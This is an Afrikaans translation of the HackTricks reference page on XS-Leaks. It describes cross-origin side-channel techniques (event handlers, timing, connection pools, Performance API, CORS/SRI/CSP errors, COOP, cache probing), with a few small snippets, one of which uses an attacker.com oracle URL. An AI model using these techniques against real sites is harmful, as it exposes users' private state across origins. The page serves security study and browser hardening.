XS-Search/XS-Leaks

Reading time: 58 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

XS-Search is 'n metode wat gebruik word om kruis-oorsprong inligting te onttrek deur gebruik te maak van kantkanaal kwesbaarhede.

Belangrike komponente wat betrokke is by hierdie aanval sluit in:

  • Kwetsbare Web: Die teikenwebwerf waaruit inligting onttrek moet word.
  • Aanvaller se Web: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves.
  • Insluitingsmetode: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
  • Lek Tegniek: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is.
  • Toestande: Die twee potensiële toestande van die Kwetsbare Web, wat die aanvaller poog om te onderskei.
  • Waarneembare Verskille: Waarneembare variasies waarop die aanvaller staatmaak om die toestand van die Kwetsbare Web af te lei.

Waarneembare Verskille

Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te onderskei:

  • Statuskode: Onderskeiding tussen verskeie HTTP-responsstatuskodes kruis-oorsprong, soos bedienerfoute, kliëntfoute, of outentikasiefoute.
  • API Gebruik: Identifisering van gebruik van Web API's oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik.
  • Herlidings: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
  • Bladsy Inhoud: Waarneming van verskille in die HTTP-responsliggaam of in bladsy sub-hulpbronne, soos die aantal ingeslote rame of grootteverskille in beelde.
  • HTTP Kop: Notering van die teenwoordigheid of moontlik die waarde van 'n spesifieke HTTP-responskop, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
  • Tydsberekening: Opmerking van konsekwente tydverskille tussen die twee toestande.

Insluitingsmetodes

  • HTML Elemente: HTML bied verskeie elemente vir kruis-oorsprong hulpbroninsluiting, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by https://github.com/cure53/HTTPLeaks.
  • Rame: Elemente soos iframe, object, en embed kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy gebrek aan raam beskerming het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
  • Pop-ups: Die window.open metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n vensterhandvatsel bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
  • JavaScript Versoeke: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van XMLHttpRequests of die Fetch API. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.

Lek Tegnieke

  • Gebeurtenis Handler: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos onload en onerror insigte bied oor hulpbronlaai sukses of mislukking.
  • Foutboodskappe: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
  • Globale Beperkings: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
  • Globale Toestand: Waarneembare interaksies met die blaier se globale toestande (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die aantal inskrywings in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
  • Prestasie API: Hierdie API bied prestasie besonderhede van die huidige bladsy, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
  • Leesbare Eienskappe: Sommige HTML-eienskappe is leesbaar kruis-oorsprong en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die window.frame.length eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.

XSinator Gereedskap & Papier

XSinator is 'n outomatiese hulpmiddel om blaaiers teen verskeie bekende XS-Leaks te kontroleer soos verduidelik in sy papier: https://xsinator.com/paper.pdf

Jy kan die hulpmiddel in https://xsinator.com/

warning

Uitsluit XS-Leaks: Ons moes XS-Leaks uitsluit wat staatmaak op dienswerkers aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.

Tydgebaseerde tegnieke

Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te detecteer. Daar is verskillende maniere om tyd in 'n webblaier te meet.

Horlosies: Die performance.now() API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.
Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animasies, en ander.
Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenis Handler Tegnieke

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Die kode voorbeeld probeer om skrip objek van JS te laai, maar ander tags soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die tag direk in te voeg en die onload en onerror gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS in te voeg).

Daar is ook 'n skrip-vrye weergawe van hierdie aanval:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Onload Timing

performance.now example

Onload Timing + Gedwonge Zware Taak

Hierdie tegniek is net soos die vorige een, maar die aanvaller sal ook dwing dat 'n aksie 'n relevante hoeveelheid tyd neem wanneer die antwoord positief of negatief is en daardie tyd meet.

performance.now + Force heavy task

unload/beforeunload Timing

Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die unload en beforeunload gebeurtenisse te benut. Die beforeunload gebeurtenis word geaktiveer wanneer die blaaier op die punt is om na 'n nuwe bladsy te navigeer, terwyl die unload gebeurtenis plaasvind wanneer die navigasie werklik plaasvind. Die tydverskil tussen hierdie twee gebeurtenisse kan bereken word om die duur wat die blaaiers spandeer het om die hulpbron te verkry te bepaal.

Sandboxed Frame Timing + onload

Daar is waargeneem dat in die afwesigheid van Framing Protections, die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die onload handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die sandbox attribuut binne die <iframe> gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Insluitingsmetodes: Frames
  • Waarneembare Verskil: Bladsy Inhoud
  • Meer inligting:
  • Opsomming: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
  • Kode Voorbeeld:

Neem aan dat jy die bladsy wat die geheime inhoud het, binne 'n Iframe kan invoeg.

Jy kan die slagoffer laat soek vir die lêer wat "vlag" bevat deur 'n Iframe te gebruik (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die onload gebeurtenis altyd ten minste een keer uitgevoer sal word. Dan kan jy die URL van die iframe verander, maar net die inhoud van die hash binne die URL verander.

Byvoorbeeld:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

As die eerste URL suksesvol gelaai is, dan, wanneer die hash deel van die URL verander word, sal die onload gebeurtenis nie weer geaktiveer word nie. Maar as die bladsy 'n soort fout gehad het tydens laai, dan sal die onload gebeurtenis weer geaktiveer word.

Dan kan jy onderskei tussen 'n korrek gelaaide bladsy of 'n bladsy wat 'n fout het wanneer dit toeganklik is.

Javascript Uitvoering

  • Insluitingsmetodes: Frames
  • Waarneembare Verskil: Bladsy Inhoud
  • Meer inligting:
  • Opsomming: As die bladsy die sensitiewe inhoud teruggee, of 'n inhoud wat deur die gebruiker beheer kan word. Die gebruiker kan geldige JS kode in die negatiewe geval stel, en laai elke poging binne <script> etikette, so in negatiewe gevalle word die aanvallers kode uitgevoer, en in bevestigende gevalle sal niks uitgevoer word nie.
  • Kode Voorbeeld:

JavaScript Execution XS Leak

CORB - Onerror

  • Insluitingsmetodes: HTML Elemente
  • Waarneembare Verskil: Statuskode & Headers
  • Meer inligting: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Opsomming: Cross-Origin Read Blocking (CORB) is 'n sekuriteitsmaatreël wat webbladsye verhinder om sekere sensitiewe kruis-oorsprong hulpbronne te laai om teen aanvalle soos Spectre te beskerm. Tog kan aanvallers sy beskermende gedrag benut. Wanneer 'n antwoord wat aan CORB onderwerp is, 'n CORB beskermde Content-Type met nosniff en 'n 2xx statuskode teruggee, verwyder CORB die liggaam en headers van die antwoord. Aanvallers wat dit waarneem kan die kombinasie van die statuskode (wat sukses of fout aandui) en die Content-Type (wat aandui of dit deur CORB beskerm word), aflei, wat kan lei tot potensiële inligtingslek.
  • Kode Voorbeeld:

Kyk die meer inligting skakel vir meer inligting oor die aanval.

onblur

Dit is moontlik om 'n bladsy binne 'n iframe te laai en die #id_value te gebruik om die bladsy te fokus op die element van die iframe met die aangeduide id, dan, as 'n onblur sein geaktiveer word, bestaan die ID element.
Jy kan dieselfde aanval met portal etikette uitvoer.

postMessage Uitsendings

  • Insluitingsmetodes: Frames, Pop-ups
  • Waarneembare Verskil: API Gebruik
  • Meer inligting: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Opsomming: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken.
  • Kode Voorbeeld: Enige kode wat na alle postMessages luister.

Toepassings gebruik gereeld postMessage uitsendings om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk sensitiewe inligting blootstel as die targetOrigin parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n orakel optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.

Globale Limiete Tegnieke

WebSocket API

Dit is moontlik om te identifiseer of, en hoeveel, WebSocket verbindings 'n teikenbladsy gebruik. Dit stel 'n aanvaller in staat om toepassingsstate te detecteer en inligting wat aan die aantal WebSocket verbindings gekoppel is, te lek.

As een oorsprong die maksimum aantal WebSocket verbindingsobjekte gebruik, ongeag hul verbindingsstatus, sal die skepping van nuwe objektes 'n JavaScript uitsondering tot gevolg hê. Om hierdie aanval uit te voer, open die aanvaller se webwerf die teikenwebwerf in 'n pop-up of iframe en dan, nadat die teikenweb gelaai is, probeer om die maksimum aantal WebSockets verbindings moontlik te skep. Die aantal gegooi uitsonderings is die aantal WebSocket verbindings wat deur die teikenwebwerf venster gebruik word.

Betaling API

Hierdie XS-Lek stel 'n aanvaller in staat om te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek begin.

Omdat slegs een betalingsversoek aktief kan wees op dieselfde tyd, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n JavaScript uitsondering veroorsaak. Die aanvaller kan dit benut deur periodiek te probeer om die Betaling API UI te wys. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.

Tydsberekening van die Gebeurtenislus

Event Loop Blocking + Lazy images

JavaScript werk op 'n enkel-draad gebeurtenislus mededinging model, wat aandui dat dit slegs een taak op 'n slag kan uitvoer. Hierdie eienskap kan benut word om te meet hoe lank kode van 'n ander oorsprong neem om uit te voer. 'n Aanvaller kan die uitvoerings tyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenis poel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur die vertragings in die uitvoering van hul eie take te observeer. Hierdie metode van die monitering van die gebeurtenislus vir vertragings kan die uitvoerings tyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.

warning

In 'n uitvoerings tydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.

Besige Gebeurtenislus

  • Insluitingsmetodes:
  • Waarneembare Verskil: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Opsomming: Een metode om die uitvoerings tyd van 'n web operasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsduur hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
  • Kode Voorbeeld:

'n Beduidende voordeel van die tegniek om uitvoerings tyd te meet deur die gebeurtenislus te sluit, is die potensiaal om Webwerf Isolasie te omseil. Webwerf Isolasie is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoerings tyd van 'n ander oorsprong deur die gedeelde gebeurtenislus te beïnvloed, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en om so die beskermende hindernisse wat deur Webwerf Isolasie gevestig is, te ontwyk.

warning

In 'n uitvoerings tydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.

Verbinding Poel

  • Insluitingsmetodes: JavaScript Versoeke
  • Waarneembare Verskil: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Opsomming: 'n Aanvaller kan al die sokke behalwe 1 sluit, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
  • Kode Voorbeeld:

Connection Pool Examples

Browers gebruik sokke vir bediener kommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, word browers gedwing om 'n limiet op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:

  1. Bepaal die brower se sokke limiet, byvoorbeeld, 256 globale sokke.
  2. Beset 255 sokke vir 'n lang tyd deur 255 versoeke na verskillende gasheers te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
  3. Gebruik die 256ste sok om 'n versoek na die teikenbladsy te stuur.
  4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat dit neem vir die 256ste sok om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.

Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Verbinding Poel volgens Bestemming

  • Insluitingsmetodes: JavaScript Versoeke
  • Waarneembare Verskil: Tydsberekening (generaal as gevolg van Bladsy Inhoud, Statuskode)
  • Meer inligting:
  • Opsomming: Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google Chrome 'n limiet van 6 gelyktydige versoeke na die selfde oorsprong. As ons 5 blokkeer en dan 'n 6de versoek afskiet, kan ons dit tyd en as ons daarin slaag om die slagofferbladsy meer versoeke na dieselfde eindpunt te laat stuur om 'n status van die bladsy te detecteer, sal die 6de versoek langer neem en kan ons dit detecteer.

Prestasie API Tegnieke

Die Performance API bied insigte in die prestasie metrieke van webtoepassings, verder verryk deur die Resource Timing API. Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsduur moontlik, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die Timing-Allow-Origin: * header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soek tyd beskikbaar word.

Hierdie rykdom van data kan verkry word via metodes soos performance.getEntries of performance.getEntriesByName, wat 'n omvattende oorsig van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoerings tye deur die verskil tussen tydstempels wat verkry is van performance.now() te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in browers soos Chrome, die presisie van performance.now() moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.

Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die performance objek in Chrome kan die toepassing van X-Frame-Options aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van X-Frame-Options, sal dit nie in die performance objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.

Fout Lek

Dit is moontlik om te onderskei tussen HTTP antwoord statuskodes omdat versoeke wat tot 'n fout lei, nie 'n prestasie inskrywing skep nie.

Styl Herlaai Fout

In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar browser foute in GC lei tot hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.

Versoek Samesmelting Fout

Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Leë Bladsy Lek

'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat leë bladsye nie 'n prestasie inskrywing in sommige browers skep nie.

XSS-Auditor Lek

In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat lei tot vals positiewe. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.

X-Frame Lek

As 'n bladsy nie toegelaat word om in 'n iframe te render nie, sal dit nie 'n prestasie inskrywing skep nie. As gevolg hiervan kan 'n aanvaller die antwoord header X-Frame-Options detecteer.
Dieselfde gebeur as jy 'n embed etiket gebruik.

Aflaai Detectie

Soos die XS-Lek wat beskryf is, 'n hulpbron wat afgelaai word as gevolg van die ContentDisposition header, skep ook nie 'n prestasie inskrywing nie. Hierdie tegniek werk in alle groot browers.

Oorplasing Begin Lek

Ons het een XS-Lek geval gevind wat die gedrag van sommige browers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in SA is dit moontlik om te detecteer of die gebruiker oorplaas is deur die teikenbladsy, deur die Prestasie API te ondervra en te kyk vir die redirectStart tydsdata.

Duur Oorplasing Lek

In GC, is die duur vir versoeke wat in 'n oorplasing eindig negatief en kan dus onderskei word van versoeke wat nie in 'n oorplasing eindig nie.

CORP Lek

In sommige gevalle kan die nextHopProtocol inskrywing as 'n lek tegniek gebruik word. In GC, wanneer die CORP header gestel is, sal die nextHopProtocol leeg wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal genereer nie.

Dienswerker

Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne onderskep, wysig, en kas om offline webtoepassings te skep.
As 'n **hulpbron wat in 'n dienswerker gekas is, via iframe toeganklik gemaak word, sal die hulpbron uit die dienswerker kas gelaai word.
Om te detecteer of die hulpbron uit die dienswerker kas gelaai is, kan die Prestasie API gebruik word.
Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).

Kas

Deur die Prestasie API is dit moontlik om te kyk of 'n hulpbron gekas is.

Netwerk Duur

Foutboodskappe Tegniek

Media Fout

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

Die MediaError koppelvlak se boodskap eienskap identifiseer uniek hulpbronne wat suksesvol gelaai is met 'n spesifieke string. 'n Aanvaller kan hierdie kenmerk benut deur die boodskapinhoud te observeer, en so die responsstatus van 'n kruis-oorsprong hulpbron af te lei.

CORS Fout

Hierdie tegniek stel 'n aanvaller in staat om die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n CORS-geaktiveerde versoek na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaier die versoek daarna ontken, word die volle URL van die omleiding se teiken binne die foutboodskap bekend gemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige sensitiewe navraagparameters wat dit mag bevat, bloot.

SRI Fout

'n Aanvaller kan uitgebreide foutboodskappe benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat gewoonlik van CDN's af gelaai word, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie CORS-geaktiveerd wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsverklarings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus hierdie fout ontlok deur 'n vals hash waarde aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.

CSP Oortreding/Detectie

'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf toe te laat. Sodra 'n versoek na die teikendomein uitgereik word, herlei dit na 'n kruis-oorsprong domein. CSP blokkeer die toegang daartoe en skep 'n oortredingsverslag wat as 'n lek tegniek gebruik word. Afhangende van die blaaier, kan hierdie verslag die teikensite van die omleiding lek.
Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding ontlok is.

Cache

Blaaiers mag een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n spesifieke lêer aangevra het.

As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die hulpbron ongeldig maak (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels), 'n versoek uitvoer wat daardie hulpbron kan laai en probeer om die hulpbron met 'n slegte versoek te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai nie enige fout ontlok het nie, is dit omdat dit in die cache was.

CSP Riglyn

'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud dit via 'n HTTP header goedkeur, of 'n foutbladsy word vertoon. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om spesifieke CSP riglyne van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n nuwe lek tegniek wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.

CORP

Die CORP header is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer. Die teenwoordigheid van die header kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal 'n fout gooi wanneer dit aangevra word.

CORB

Kyk na die skakel vir meer inligting oor die aanval.

CORS fout op Oorsprong Reflectie miskonfigurasie

In die geval dat die Oorsprong header in die header Access-Control-Allow-Origin weerspieël word, kan 'n aanvaller hierdie gedrag misbruik om te probeer fetch die hulpbron in CORS modus. As 'n fout nie ontlok word nie, beteken dit dat dit korrek van die web verkry is, as 'n fout ontlok word, is dit omdat dit van die cache geaccess is (die fout verskyn omdat die cache 'n respons met 'n CORS header wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (Access-Control-Allow-Origin: *), dit nie sal werk nie.

Leesbare Eienskappe Tegniek

Fetch Omleiding

Deur 'n versoek met die Fetch API in te dien met redirect: "manual" en ander parameters, is dit moontlik om die response.type eienskap te lees en as dit gelyk is aan opaqueredirect, dan was die respons 'n omleiding.

COOP

'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) header in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie header kan opgespoor word deur te probeer om toegang te verkry tot die contentWindow verwysing. In scenario's waar COOP voorwaardelik toegepas word, word die opener eienskap 'n duidelike aanduiding: dit is onbeskikbaar wanneer COOP aktief is, en beskikbaar in sy afwesigheid.

URL Maks Lengte - Bediener Kant

